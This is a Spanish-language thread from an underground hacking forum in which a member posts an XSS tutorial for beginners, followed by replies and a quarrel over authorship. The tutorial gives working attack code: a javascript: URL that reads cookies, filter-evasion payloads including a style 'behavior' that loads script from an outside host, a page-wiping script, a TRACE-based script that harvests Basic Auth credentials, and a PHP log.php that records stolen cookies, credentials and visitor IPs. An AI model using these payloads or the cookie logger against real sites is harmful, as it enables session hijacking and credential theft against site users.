Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Noviembre 18, 2008, 06:49:31
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Hack Novato  |  Hack para newbies (Moderadores: OzX, Axus)  |  Tema: Ataques XSS 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Ataques XSS  (Leído 661 veces)
ElPerro
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1266


ElPerro - ElPlog.com

57016794 angeldeguer@hotmail.com angeldeguer@yahoo.com.ar
Ver Perfil WWW Email
« en: Abril 25, 2007, 08:54:31 »

XSS es un ataque basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado. Su nombre, del ingles "Cross Site Scripting", y renombrado XSS para que no sea confundido con las hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar código de "scripting", como VBScript o javascript, en el contexto de otro dominio. Recientemente se acostumbra a llamar a los ataques de XSS "HTML Injection", sin embargo el termino correcto es XSS. Estos errores se pueden encontrar en cualquier aplicación HTML, no se limita a sitios web, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en si. El problema esta en que normalmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (foros, mensajes de error, comentarios) o indirecta (redirecciones, framesets). Cada una se trata de forma diferente.

Directa

Este tipo de XSS es el que normalmente es censurado; así que es muy poco común que puedas usar tags como <script> o <iframe>
Indirecta: Esta es un tipo de vulnerabilidad, muy común y muy poco explotada. Consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones.

Indirecta

Sucede cuando hay un mensaje o una ruta en la URL del navegador o en una cookie. Para saber el contenido de una cookie, sin usar ningún tipo de iecv o addin para tu navegador, puedes usar el siguiente script de jasildbg. Sólo colócalo en la barra de direcciones, y presiona Enter.

Código:
javascript:for(var g in document.cookie.split(';'))void(prompt("Valor de cookie "+document.cookie.split(';')[g].split('=')[0],document.cookie.split(';')[g].split('=')[1]));alert("Cookies:\n"+document.cookie.replace(/;/,"\r\n"));

Una vez dentro se puede modificar la cookie a tu antojo. Si pones cancelar la cookie se borrará.

¿Qué podemos ver con este ejemplo? Que podemos meter comandos javascript solo modificando una URL.

Usando FrameSets
Regresemos al ejemplo del frameset, que según la página que coloques te crea un frame a esa página. ¿Qué pasara si pones en esa URL?

Código:
javascript:while(1)alert("Te estoy inundando de mensajes!");

Y el enlace lo pone un intruso hacia un foro. Un navegador incauto, va a verlo y dirá, bueno, es del mismo dominio, no puede ser nada malo.. y de resultado tendrá un loop infinito.

Se trata de colocar un script que tome tu cookie, y mande un mp al administrador, o incluso, que borre todos los mensajes de un foro.

El robo de cookies es lo más básico, y tiene como objetivo robar la cookie. ¿Y eso de qué sirve? Tengo el PHPSESSID, y si el usuario cierra sesión no sirve de nada.

Cierto, pero con el uso de la librería cURL un usuario malintencionado, podría al recibir tu cookie, entrar a la página, y dejarla en caché, para que el atacante cuando quiera, pueda entrar como tú, sin siquiera necesitar tu contraseña.

Otro uso común para estas vulnerabilidades es lograr hacer phishing; o colocar un exploit.

Quiere ello decir que tú ves la barra de direcciones, y ves que estás en una página, pero realmente estás en otra. Introduces tu contraseña y la fastidiaste.

Lo peor son los sitios de descarga, que colocan en la misma URL el sitio de objetivo. Esas páginas web son vulnerables a ataques XSS indirectos. O sea que un intruso puede colocar una imagen con enlace al sitio malicioso, y se ejecuta, sin que el usuario lo sepa, caso Megabyte que se valio de usuarios incautos.

Mensaje personalizado
La técnica sólo funciona con imágenes:

Código:
error.php?error=Usuario%20Invalido

Esa página es vulnerable a XSS indirecto.

Un <script> que cree otra sesión bajo otro usuario y tu sesión actual la mande al atacante (lo explicado de cURL más arriba), puede causar estragos.

Este código (muy peligroso) borra todo el contenido de la página en cuestión, y escribe otra cosa:

Código:
<script>
  document.documentElement.innerHTML="NADA";
</script>

Directa

Funciona localizando puntos débiles en la programación de los filtros. Así que si, por ejemplo, logran quitar los <iframe>, <script>, el atacante siempre puede poner un <div> malicioso, o incluso un <u> o <s>. Tags que casi siempre están permitidos.


Ejemplos de Scripts donde no son comunes de encontrar

Código:
<BR SIZE="&{alert('XSS')}">
<FK STYLE="behavior: url(http://laplaga.com.ar/xss.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

Usar estilos es increíblemente fácil, y lo malo es que muchos filtros son vulnerables. Se puede crear un DIV con background-image: url(javascript:eval(this.fu)) como estilo y añadir al DIV un campo llamado fu que contenga el código a ejecutar, como por ejemplo alert('Hola'):

Código:
<div fu="alert('Hola');" STYLE="background-image: url(javascript:eval(this.fu))">

Ajax

No hablo del colaborador de UnderLatino.org...este es un tipo de XSS no tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad para introducir un objeto XMLHTTP y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.

El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticación de un sistema basado en Autenticación Básica (Basic Auth). Sólo falta decodificarlo, pero es más fácil mandarlo codificado al registro de contraseñas. La codificación es base64.


Script para obtener credenciales en tipo BASIC

Esta tecnica también es llamada XST Cross Site Tracing XST

Código:
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

// para firefox, es: var xmlhttp = new XMLHttpRequest();

xmlhttp.open("TRACE","./",false);

xmlhttp.send(null);

str1=xmlhttp.responseText;

splitString = str1.split("Authorization: Basic ");

str2=splitString[1];

str3=str2.match(/.*/)[0];

alert(str3);

Por cuestiones de seguridad.. Firefox y IExplorer 6.2+ no permiten usar el metodo TRACE.


log.php para registrar cookies

Código:
<?php

$archivo 
fopen('log2.htm','a');

$cookie $_GET['c'];

$usuario $_GET['id'];

$ip getenv ('REMOTE_ADDR');

$re $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");

fwrite($archivo'<hr>USUARIO Y PASSWORD: '.htmlentities(base64_decode($usuario)));
fwrite($archivo'<br>Cookie: '.htmlentities($cookie).'<br>Pagina: '.htmlentities($re));
fwrite($archivo'<br> IP: ' .$ip'<br> Fecha y Hora: ' .$fecha'</hr>');

fclose($archivo);

?>

Quiero creer que esto no se va a usar con fines maliciosos, chicos, solo quiero explicar la forma en que ESTA WEB fue "desdominada", porque lo digo asi?...Porque NO FUE DEFACEADA, solo le cambiaron los DNS al dominio. Saludos.
« Última modificación: Junio 18, 2008, 05:28:23 por ManCuerTex (ViPeR) » En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion



initialhack
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1040


initialhack@hotmail.com
Ver Perfil WWW Email
« Respuesta #1 en: Abril 25, 2007, 09:24:20 »

woow, hermano muy buena informacion  Wink  Wink

Gracias.

Saludoxxx
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Angelus_7722
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1558



Ver Perfil
« Respuesta #2 en: Abril 25, 2007, 12:12:28 »

genial la info....... espero poder dominarla bien, apenas estoy empezando a enteder como aprovechar las vulnerabilidades, es muy interesante.

saludos,
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion



Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion



Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Leer antes de Trabajar con Troyanos
cr3kn3r
Habitual
*****
Desconectado Desconectado

Mensajes: 267



Ver Perfil
« Respuesta #3 en: Abril 25, 2007, 02:14:29 »

esta muy bueno, el manual sabes que podrias hacer tambn uno  de RFI no caidria nada mal.
En línea

entra aqui irc del foro CuH tamos solo unos pocos ven aqui a hablar  o mas bien diria a escribir y intercambiar. conociminetos...
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion]entra

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
ElPerro
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1266


ElPerro - ElPlog.com

57016794 angeldeguer@hotmail.com angeldeguer@yahoo.com.ar
Ver Perfil WWW Email
« Respuesta #4 en: Abril 25, 2007, 02:18:21 »

Vi uno muy bueno por aca, por eso no lo publique, sin embargo tengo subido uno a mi web.


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion

En ese post estan los enlaces a la introduccion de RFI.
Un abrazo y gracias por los elogios.
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion



JUCA
...::::JUCA::::....
Colaborador
*****
Desconectado Desconectado

Mensajes: 402

www.hackeruna.com

juca@xasamail.com
Ver Perfil WWW Email
« Respuesta #5 en: Abril 25, 2007, 02:48:26 »

Muy interesante, bien explicado

Saludos
JUCA
En línea

"Uno no comprende completamente algo hasta que se lo puede explicar a su abuela" Albert Einstein





Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
ElPerro
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1266


ElPerro - ElPlog.com

57016794 angeldeguer@hotmail.com angeldeguer@yahoo.com.ar
Ver Perfil WWW Email
« Respuesta #6 en: Abril 25, 2007, 03:10:31 »

Me parecio que este post era mas para NEWBIES [como le dicen aca] Por eso no lo publique en Hack General, supuse que todos los "mas avanzados" [Que no se tomen a mal las comillas por favor] ya sabrian sobre esto...hasta pense que me lo criticarian diciendo cosas como "Esto no sirve es muy newbie" o algo asi. Bueh, el moderador sabra...jajaja, saludos a todos. Y AGUANTE MEGABYTE!!! [Chiste].
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion



benjaminn2
Visitante
« Respuesta #7 en: Abril 25, 2007, 03:11:57 »

Me parecio que este post era mas para NEWBIES [como le dicen aca] Por eso no lo publique en Hack General, supuse que todos los "mas avanzados" [Que no se tomen a mal las comillas por favor] ya sabrian sobre esto...hasta pense que me lo criticarian diciendo cosas como "Esto no sirve es muy newbie" o algo asi. Bueh, el moderador sabra...jajaja, saludos a todos. Y AGUANTE MEGABYTE!!! [Chiste].

Perdon si te molesto pero tenemos en el otro tema un link a este, me parecio conveniente asi pero si quieres lo regreso...

SALUDOS!
En línea
ElPerro
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1266


ElPerro - ElPlog.com

57016794 angeldeguer@hotmail.com angeldeguer@yahoo.com.ar
Ver Perfil WWW Email
« Respuesta #8 en: Abril 25, 2007, 03:14:53 »

Jajaja LTSmash, no me molesto para nada, hace lo que te resulte conveniente, vos sos el admin jaja, solo me justificaba del PORQUE no lo publique en HACK GENERAL, nada mas...
Todo bien! Un abrazo enorme.
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion



benjaminn2
Visitante
« Respuesta #9 en: Abril 25, 2007, 03:16:17 »

En línea
ElPerro
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1266


ElPerro - ElPlog.com

57016794 angeldeguer@hotmail.com angeldeguer@yahoo.com.ar
Ver Perfil WWW Email
« Respuesta #10 en: Abril 25, 2007, 03:20:03 »

Ya dejen quieto el post!!!...Jajajajajajajajajajajajajja, la gente me mira con cara de "Y este de que se rie?"
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion



joiko2000
Miembro
*****
Desconectado Desconectado

Mensajes: 53


Ver Perfil Email
« Respuesta #11 en: Abril 25, 2007, 04:21:17 »

este tipo de ataque aplica tambien para paginas HTTPS?Huh O kual seria la diferencia en el ataque....?
En línea
ElPerro
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1266


ElPerro - ElPlog.com

57016794 angeldeguer@hotmail.com angeldeguer@yahoo.com.ar
Ver Perfil WWW Email
« Respuesta #12 en: Abril 25, 2007, 04:31:00 »

Te soy sincero, nunca la probe en una web https, pero convengamos que la S es solo el cambio de modo normal de navegacion a modo SSL [Secret Socket Layer], no se altera el contenido de la web, por lo tanto el concepto es el mismo.
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion



sirdarckcat
Recien Llegado
*
Desconectado Desconectado

Mensajes: 2


Ver Perfil
« Respuesta #13 en: Junio 19, 2007, 09:30:38 »

En línea
ElPerro
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1266


ElPerro - ElPlog.com

57016794 angeldeguer@hotmail.com angeldeguer@yahoo.com.ar
Ver Perfil WWW Email
« Respuesta #14 en: Junio 19, 2007, 09:57:55 »

Si, lo saque de Wikipedia, de hecho cite al sitio de wiki en el post original...Solo que no dije el autor por simple y mera obviedad...nadie sabe si lo que dice en Wikipedia es real o no. No me autocite como autor porque simplemente no lo arme yo. Mucho sobre XSS no se, solo lo MUY basico. Me parecio un manual interesante y lo publique aca sin asumir autorias...pero repito...el post original citaba a WIKIPEDIA como fuente, es mas, cualquiera que ponga XSS en google va a tener a ese manual como el objetivo principal ya que sale primero en la lista.

Otra cosa [y de paso que quede como aclaracion], cuando haya un manual, tutorial o lo que sea, pongo mi NOMBRE REAL como firma, si no pongo nada es porque simplemente no se quien lo hizo.

Saludos y no tenias que borrar el tuto de wikipedia...eso me parecio muy infantil, de todas maneras te conteste:


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion

Ahora si...me voy a dormir...
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion



sirdarckcat
Recien Llegado
*
Desconectado Desconectado

Mensajes: 2


Ver Perfil
« Respuesta #15 en: Junio 20, 2007, 12:22:23 »

En línea
ElPerro
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1266


ElPerro - ElPlog.com

57016794 angeldeguer@hotmail.com angeldeguer@yahoo.com.ar
Ver Perfil WWW Email
« Respuesta #16 en: Junio 20, 2007, 08:39:36 »

Suerte que contestaste...

No puedo saberlo todo en la www, nunca use Wiki, era la primera vez y solo quise dar un aporte a tu articulo. No estaba seguro si realmente eras vos el verdadero autor, supe de varios problemas en wikipedia respecto a eso, no me interesa atribuirme un manual de XSS [menos aun sin conocer a fondo el tema]. En esta web ya me conocen y cualquier explicacion se las debere a ellos y no a vos.

Punto 1: Solo quise aportar algo a tu manual.

Punto 2: Mis aportes no figuraban [captura de pantalla y un mini video]

Punto 3: No me acuerdo si le hice click a GRABAR PAGINA... Tongue

Punto 4: No me llames hijo, podria ser tu padre o...tu hermano mayor.

Pensando y pensando es posible que simplemente haya cometido algun error al editar el articulo y se haya malinterpretado. Entiendo tu postura y te doy la razon en estar molesto.
Pero me jode mucho que me ataques sin consultar primero.

Esto no es un chat. Mis direcciones de contacto figuran en el perfil, sino por privado.

Saludos Sir...

P.D:
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion Me da error.
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion



Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Hack Novato  |  Hack para newbies (Moderadores: OzX, Axus)  |  Tema: Ataques XSS « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.7 | SMF © 2006-2007, Simple Machines LLC